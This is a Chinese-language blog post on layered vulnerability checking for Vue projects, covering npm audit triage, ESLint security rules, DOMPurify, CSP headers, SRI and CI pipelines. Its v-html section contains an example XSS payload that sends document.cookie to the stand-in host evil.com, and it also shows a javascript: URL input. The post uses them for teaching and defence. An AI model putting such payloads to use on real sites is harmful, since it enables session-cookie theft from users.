
1. 先解决一个认知问题Vue项目到底有没有必要做漏洞检测先说个我实际遇到的场景。某次陪一个朋友看他们团队的管理后台项目上线前的验收阶段负责安全的同事丢过来一份报告上面列了十几条中高危问题。朋友当时的第一反应是不可能吧我天天用浏览器开着开发者工具调试功能全跑通了哪里来的漏洞问题恰恰出在这。能用开发者工具调通页面证明的是功能逻辑没毛病但安全从来不是能跑就行。后来我们把那份报告逐条拆开看有几类问题确实和他这个想法直接相关生产环境的Source Map没关整个源代码像摊开的书一样挂在线上登录页的接口把验签参数打在了日志里旧版本的第三方依赖带着一个公开了好几个月的高危漏洞。这三条没有一条是功能跑不通能暴露出来的。所以关于标题这个vue项目有无漏洞检测我的回答很直接不是有没有必要而是你已经在裸奔了还不自知。现代Vue项目早就不是早年间那种只负责把数据渲染到页面的简单角色了——它承载了鉴权逻辑、敏感数据展示、路由权限控制甚至大量业务状态都放在前端维护。攻击面比想象中大得多。这篇就基于我自己的实践把Vue项目里真正值得做的漏洞检测分几层拆开讲依赖、源码、运行时、还有整个流程怎么落地。顺便说一下适用人群。不管你是中小团队的前端负责人还是刚接手一个老项目想摸底的新人或者只是自己在维护一个Vue3的开源项目这篇的思路和命令都可以直接抄作业。有些工具可能你已经在用了但我重点想讲的是那些测了但方向不对报了漏洞不知道怎么修的中间地带——这才是大多数人踩坑的地方。2. 第一层依赖漏洞排查npm audit只是起点Vue项目的依赖链条是逃不掉的重灾区。一个正经的Vue3项目装上vue-router、pinia、axios、element-plus之后node_modules里的包数量轻松上千。这上千个包背后是几千个维护者任何一个包被投毒或者带了个已知漏洞你的项目理论上都是受影响的。2.1 先把手里的清单摸清楚排查依赖漏洞第一步不是拿工具扫而是先确认自己的依赖清单是可复现的。这里有一个很多人忽视的判断标准项目根目录有没有package-lock.json或pnpm-lock.yaml/yarn.lock以及这个文件有没有提交到代码仓库里去。没有锁文件的Vue项目今天npm install打出来的依赖树和一个月之后某同事在新电脑上npm install打出来的那棵依赖树可能是两棵不同的树。因为在你的package.json里写的通常都是^1.2.3这样的模糊版本范围npm会自动拉取当前满足条件的最高版本。依赖树不一致漏洞检测结果自然也不一致——你扫出来的结论根本不能代表生产环境正在跑的东西。锁文件的作用就是把整棵依赖树的精确版本固定下来。如果仓库里还没有锁文件先执行一下然后提交别把它加进.gitignore。这个是后面一切检测动作的前提。2.2 npm audit的正确打开方式依赖锁定之后开始最基础的扫描。我在项目里通常是这么跑的# 先看生产依赖的漏洞情况 npm audit --production # 如果不加 --productiondevDependencies 的漏洞也会被带进来 npm audit注意一下这两个命令的区别。默认npm audit会把devDependencies里的漏洞也算进去像eslint、vite这类开发期工具如果报了漏洞很多人就直接慌了。实际上开发依赖的漏洞严重程度要分场景判断——开发期工具被攻击者利用的前提通常是他已经能接触到你的开发环境或者供应链这个威胁模型和生产环境完全不同。所以我个人习惯先看 --production 的结果再整体看一遍分级处理。audit结果里每一行漏洞都会给出严重等级low/moderate/high/critical、影响版本范围、以及修复建议。看到结果之后对修复方案的选择要谨慎一点如果只是补丁版本升级比如1.2.3 → 1.2.4直接npm audit fix收工如果需要跨minor版本升级先确认有没有破坏性变更再动如果显示No fix available说明漏洞目前没有修复版本只能从代码层面规避或者换依赖npm audit fix --force我基本不推荐在Vue项目里直接跑。这个命令会做带破坏性变更的升级Vue生态里经常出现强制升级完组件库API不兼容、页面白屏的情况。2.3 误报和报但不影响怎么判断用过npm audit的人都会有这种体验报告里动不动就是high/critical看着头皮发麻。这个阶段最需要的是冷静判断。举例来说很多Vue项目都会把axios直连使用。axios的某个旧版本可能存在正则表达式拒绝服务ReDoS漏洞npm audit会标红CVSS分数还不低。但如果你的项目根本没有把用户可控的复杂字符串直接丢给axios处理那这个漏洞在你的上下文里实际可利用性就很低。不是说不修而是优先级可以往后放。还有一个典型的例子某个间接依赖同时被十几个包使用扫出来有个中危问题但它只在某个特定调用链路上才会触发而那条链路你的项目压根没有走到。这种我可以先记在issue里等下一个版本升级统一处理。我自己的处理原则是这样漏洞等级可达性判断处理方式critical代码路径可达立即排查升级必要时临时换实现方案critical不可达记录在案排入近期迭代升级high代码路径可达当周内升级修复high不可达记录在案排入技术债清单moderate/low任何情况随版本发布节奏处理不允许因此阻塞发版另外说一个工具层面的经验仅靠npm audit跑人工看很难长期坚持。现在CI流程里我更建议接入自动化工具比如在npm registry上现在很流行的第三方审计平台或者依赖机器人那种自动升级PR的方案。核心思路是漏洞发现要自动化漏洞修复要人工决策。提示如果你用的是pnpm命令略有区别。pnpm audit同样可用而且pnpm对依赖的解析更严格锁文件冲突的场景会更多。这时候别急着去升级先弄明白冲突是怎么来的很多时候是间接依赖范围重叠pnpm换一种解析策略就能解决。3. 第二层源码层的漏洞扫描别以为依赖干净就万事大吉依赖层扫完了很多人会松一口气依赖没大问题那我的代码也安全了吧。这是最危险的误区。漏洞检测如果只做依赖审计等于只检查了食品的原料产地却不看厨师做菜时有没有把抹布搭在灶台上。前端源码层级的漏洞在Vue项目里最常见的几类XSS跨站脚本攻击、开放重定向、敏感信息泄露、危险的Eval执行。这几类光靠人肉review效率太低需要用静态分析工具在代码层面扫。3.1 ESLint插件把安全问题变成报错Vue项目基本都会用ESLint把它扩展成安全检测工具阵地是最顺手的路径。我在项目里加了这样一组安全相关插件// .eslintrc.cjs 片段 module.exports { // 已有的 vue 推荐规则保留 extends: [ plugin:vue/vue3-recommended, plugin:security/recommended-legacy, // 通用安全规则 ], plugins: [security], rules: { // 禁止直接使用 eval 及其变体 no-eval: error, // 禁用掉非必要的 Function 构造函数调用 no-new-func: error, } }其中eslint-plugin-security这个插件提供了一套通用前端安全规则它会对Math.random、eval、Function构造函数、child_process之类的高危API使用亮红牌。虽然它主要是基于Node环境的一些习惯预设的但放到Vue项目里还是能捕捉到不少不规范的东西。不过说实话光靠这个还不够。Vue模板本身的特殊性需要另一组规则来覆盖。社区里有一款面向Vue的ESLint安全插件专门扫描vue文件里的模板表达式和指令使用规则集中在XSS风险上比如有没有在模板里直接用v-html绑定来自接口的字段有没有在计算属性或方法里把location.search的参数直接塞进模板渲染有没有用:href绑定用户可控的URL却没有任何协议白名单校验。这类代码在Vue项目里是实打实的高频漏洞来源下面我展开讲两个最常见的。3.2 v-html 的滥用Vue项目头号XSS出口Vue文档里写得清清楚楚v-html是猛药因为它直接把内容当作HTML解析渲染不经过Vue的转义机制。上过Vue项目的人都知道能用插值就别用v-html但业务场景往往更复杂后端返回了一段富文本或者接口直接给了一段HTML片段很多前端图省事就直接v-html接上。这么写的后果是如果这段HTML内容是用户提交后原样存储的比如一个评论区的编辑框攻击者提交img srcx onerrorfetch(//evil.com/steal?cookiedocument.cookie)这样的payload那么任何用户打开页面这段脚本就会在别人浏览器里执行。我的处理建议是分级如果是完全可信的静态文案直接用v-html没问题如果是接口返回的富文本必须在渲染之前经过一层白名单过滤推荐DOMPurify。线上Vue项目我见过太多应该没事最后出事的例子了。DOMPurify用法很简单import DOMPurify from dompurify // 渲染前先过一遍 const cleanHtml DOMPurify.sanitize(dangerousHtmlString, { USE_PROFILES: { html: true } })如果你在做Vue3项目还可以把它封装成一个全局指令或者一个网状的渲染函数层让业务侧默认拿到的就是净化过的HTML而不是让每个页面自己记得去调。3.3 链接手滑事故target_blank和协议白名单还有一个高频但容易被scan忽略的点外部链接的处理。Vue项目里经常写这种代码a :hrefexternalUrl target_blank去外部站点/a问题在于target_blank打开新标签页之后新页面里通过window.opener可以拿到旧页面的window对象进而修改旧页面的内容tabnabbing攻击。解决办法是加relnoopener noreferrer。这算是基础中的基础了但项目里真的隔三差五能看到。更隐蔽的一类是URL协议的问题。有的业务里需要展示用户填的官网地址前端可能直接a :hrefuserInput。如果这个输入值是javascript:alert(document.cookie)这种伪协议点击之后就是一段脚本执行。我自己的惯例是封装一个safeUrl函数export function safeExternalUrl(url) { try { const parsed new URL(url) // 只允许 http/https其余一律返回空 return [http:, https:].includes(parsed.protocol) ? parsed.href : } catch { return } }然后模板里:hrefsafeExternalUrl(userInput)配合上一步的noopener基本能挡住这类问题。3.4 静态扫描的运行时机与误报管理把上面这些规则配好之后静态扫描其实应该跑在三个时机本地commit前的lint阶段、CI的push阶段、以及版本发布前的全量检查阶段。本地lint通过钩子触发CI里用npm run lint或单独的npm run security-lint跑全量。一个很现实的问题老项目第一次接入这些规则会扫出一大批历史问题。我的建议是不要试图一次清零而是先设成warning级别用TODO或FIXME注释标注让新代码必须达标存量代码逐步收敛。老项目一次性强制error大概率的结果是团队一致选择把规则干掉反而回到裸奔状态。4. 第三层运行时防线CSP配置和第三方资源管理源码和依赖都扫过、修过之后项目算不算安全了还不够。前端漏洞检测还有一个很多人没意识到的维度运行时防线——也就是当代码真正在浏览器里跑起来之后如果发生了意外我们的兜底能力有多少。4.1 CSP给页面戴上一层只允许自己人的帽子Content-Security-Policy内容安全策略CSP的作用通俗讲就是告诉浏览器这个页面上运行的脚本、加载的资源只能来自我指定的这些来源其他的统统拦截。即使攻击者想尽办法往页面里注入了一段脚本CSP也会在浏览器层直接拦下来不给它执行的机会。Vue项目配CSP最容易踩的坑就是开发环境热更新HMR的inline脚本被CSP挡掉。Vue CLI和Vite开发模式下会往页面里注入一些内联脚本来做热更新如果你在本地也启用了严格的CSP大概率页面直接白屏控制台刷一排Refused to execute inline script。所以更实际的做法是区分环境配置生产环境启用严格CSP开发环境要么放宽松、要么干脆不启用。生产环境推荐用HTTP响应头的方式在Nginx层加server { add_header Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self data:; object-src none; base-uri self; form-action self always; }这段配置的含义default-src self默认所有资源只能从同源加载script-src self脚本只信任同源文件style-src self unsafe-inline样式允许同源加上内联样式很多UI框架和动态样式会用到内联styleimg-src self data:图片允许同源和data: URIobject-src none禁掉插件类对象加载这是经常被忽略的注入点。需要注意如果你的Vue项目用了script-src self那么代码里所有内联事件处理器οnclick...这种会被拦动态创建的script标签也会被拦。有人会想改成unsafe-inline我觉得尽量别——一旦放开unsafe-inlineXSS注入最常用的一条路就重新打开了CSP的兜底效果约等于零。对于Web Worker或者动态加载的模块可以按需把对应的来源追加到白名单里但原则是需要什么开什么不开多一个。4.2 第三方脚本真实存在的暗门除了自己的代码很多Vue项目还在页面上挂了各种第三方脚本统计埋点、客服系统、广告、以及各种免费好用的CDN公共库。第三方脚本的最大特点是它的代码运行在你的页面上下文中拥有和你自己的脚本几乎同等的权限。一颗统计脚本的恶意版本能拿到你页面里的所有数据。这里面有两个层面的防护思路第一个是SRISubresource Integrity子资源完整性校验。如果用的是CDN方式引入第三方库在script标签上加上integrity属性浏览器会先比对加载到的文件哈希对不上直接拒绝执行script srchttps://cdn.example.com/vue.global.prod.js integritysha384-xxxxx crossoriginanonymous/script第二个是给第三方脚本划分可信级。我曾经在某管理后台项目里排查过一次诡异的数据上报最后发现是一个第三方的客服浮窗脚本在偷偷收集页面DOM里的手机号文本。这种问题技术上难防只能靠管理手段外购商业脚本要尽量走代理商的白名单自建脚本要定期走一遍自己团队的审计流程。对于Vue项目来说还有一个比较隐蔽的风险是在idnex.html里硬编码的一堆外部脚本。无论是统计还是监控SDK时间一久没人记得谁加的、为什么加、还有没有在跑。建议定期对index.html做一次脚本盘点每个外链脚本必须有对应的负责人和维护说明找不到来源的一律移除。4.3 构建产物里的裸奔细节运行时防线里还有一类问题不在代码逻辑里而是构建产物把不该暴露的暴露了。前面开头提到的Source Map就是典型如果生产环境把Source Map传上去了任何人打开开发者工具的Sources面板都能直接看到你完整的原始源码——包括接口地址、注释里的内部信息、甚至密钥。很多团队为了方便线上排错直接把sourcemap: true开着就部署了这就是把自家地图送给了攻击者。我的做法是生产环境构建关闭Source Map或者仅对内网监控系统生成脱敏后的映射文件。Vite里的配置很简单// vite.config.js export default defineConfig({ build: { sourcemap: false, // 生产环境关闭 } })如果你确实需要线上排错能力可以用专门的错误监控平台它们在服务端保存还原后的源码浏览器端只上传错误堆栈信息两者脱离开安全性和排错效率都能兼顾。另外还要确认构建输出的目录结构——之前见过一个项目把.env文件直接打进了dist里里面是一堆云服务的AK/SK这种问题扫描工具不一定报但是人工检查构建产物的时候一定不能漏。5. 把漏洞检测流程化从一条命令到一个常态机制上面讲到的依赖扫描、源码扫描、运行时防护分散开都是招式但真正能持续保障项目安全的是把它们串成一套流程。这章分享一下我在团队里逐步搭起来的标准操作以及中途踩过的坑。5.1 五个时机的检测设计我把Vue项目的漏洞检测分布在五个时机时机执行内容工具/手段本地开发单文件实时ESLint校验eslint-plugin-security、vue安全插件代码提交前pre-commit钩子跑lint和依赖审计husky npm audit仅提醒CI流水线全量lint 依赖审计 构建产物检查GitLab CI或GitHub Actions脚本发布前生产构建后的安全检查构建产物扫描、Source Map确认周期性巡检每月依赖更新复查、CSP头核对定时任务 人工抽查CI流水线里我的脚本大概是这样一个结构# .gitlab-ci.yml 示例 safety-audit: stage: test script: - npm ci - npm run lint -- --max-warnings0 - npm audit --production --audit-levelhigh rules: - if: $CI_MERGE_REQUEST_IID其中--audit-levelhigh的含义是只有出现high及以上等级漏洞时才让流水线失败moderate/low仅提示。这是平衡开发和安全的折中——一有moderate就挂流水线开发节奏基本会受影响。5.2 修复优先级不是所有高危都值得立刻停线套用我在第2.3节提到的分级表之后实际执行中还要结合资产价值这个变量。举例来说一个面向特定企业客户的内部管理系统和一个月活百万的C端站点同样一个medium漏洞修复的紧急程度完全不同。C端站点哪怕是一个低危的XSS都值得当天修内部系统只要不暴露在公网可以排到一个迭代内。我自己给团队定的优先级调整标准漏洞CVSS分数是參考基准不是最终答案代码路径可达性 CVSS分数同等级漏洞能被攻击者真实触达的优先资产暴露面 代码路径可达性公网、未登录可达的页面优先级最高处理任何漏洞前先问一句这行代码当前的生产环境真的走到吗。这套排序方法不一定严谨到学术级但在实际项目里用起来非常顺手——它帮团队避免了很多全员加班修一个根本没人能触达的漏洞的尴尬局面。5.3 一次实际项目的修复复盘供参考的完整链路最后用一个模拟项目的完整过程把整套流程串起来为便于描述项目代号就叫某管理后台项目吧。某管理后台项目Vue3 Element Plus第一次做全面漏洞检测时跑了三条线依赖线npm audit --production 扫出6个漏洞其中1个critical一个懒加载图片库的远程代码执行漏洞影响版本域恰好覆盖项目当前版本2个high分别是深层间接依赖的XSS和原型污染问题。处理动作critical直接升级图片库主版本顺手改了懒加载的调用方式2个high对应的依赖没有修复版于是通过npm overrides功能把深层依赖强制提升到安全版本范围overrides是package.json里的字段可以指定某一依赖强制使用某个版本适用于父包不更新、子包有修复的场景。源码线eslint安全规则第一次全量扫描报了十几个warning。重点看了一遍问题集中在两处全是用户可输入的v-html绑定以及批量写的:href外链没做协议校验。处理动作v-html全部改为DOMPurify净化后渲染外链统一走safeUrl函数。存量代码花了一天整改顺手把团队的前端提交规范里加了一条新增v-html必须过code review。运行时线Nginx加上了生产环境CSP响应头一开始碰到的问题是某个第三方报表组件的内联样式被拦截了排查之后发现它动态生成了很多内联style标签于是给style-src加上unsafe-inline这是CSS层面常见的折中但script-src依然保持不变。同时index.html盘了一圈外链脚本发现有一个没有任何注释的统计脚本挂在页面底部问了一圈没人认领直接下线。三轮清完之后连续跟踪了两个月内的新提交CI里配置的安全流水线跑下来的情况比较健康偶尔出现一两个因为依赖升级带进来的moderate级情况当天顺手就排掉了。这次完整跑过之后我最大的感受是漏洞检测真正难的并不是工具和命令而是团队是否愿意接受它会持续抛出问题这个事实——安全没有终点抱着测一次就安全了的心态才是最大的漏洞。结合我自己的经验开头那个有没有必要做的问题也有了答案Vue项目不仅有必要做而且值得把它变成流水线里的固定环节。依赖、源码、运行时三层缺一不可而真正能坚持做下来的团队收获的不只是安全报告上的那个绿色通过标志更是一套让线上环境没那么容易出事的稳定感。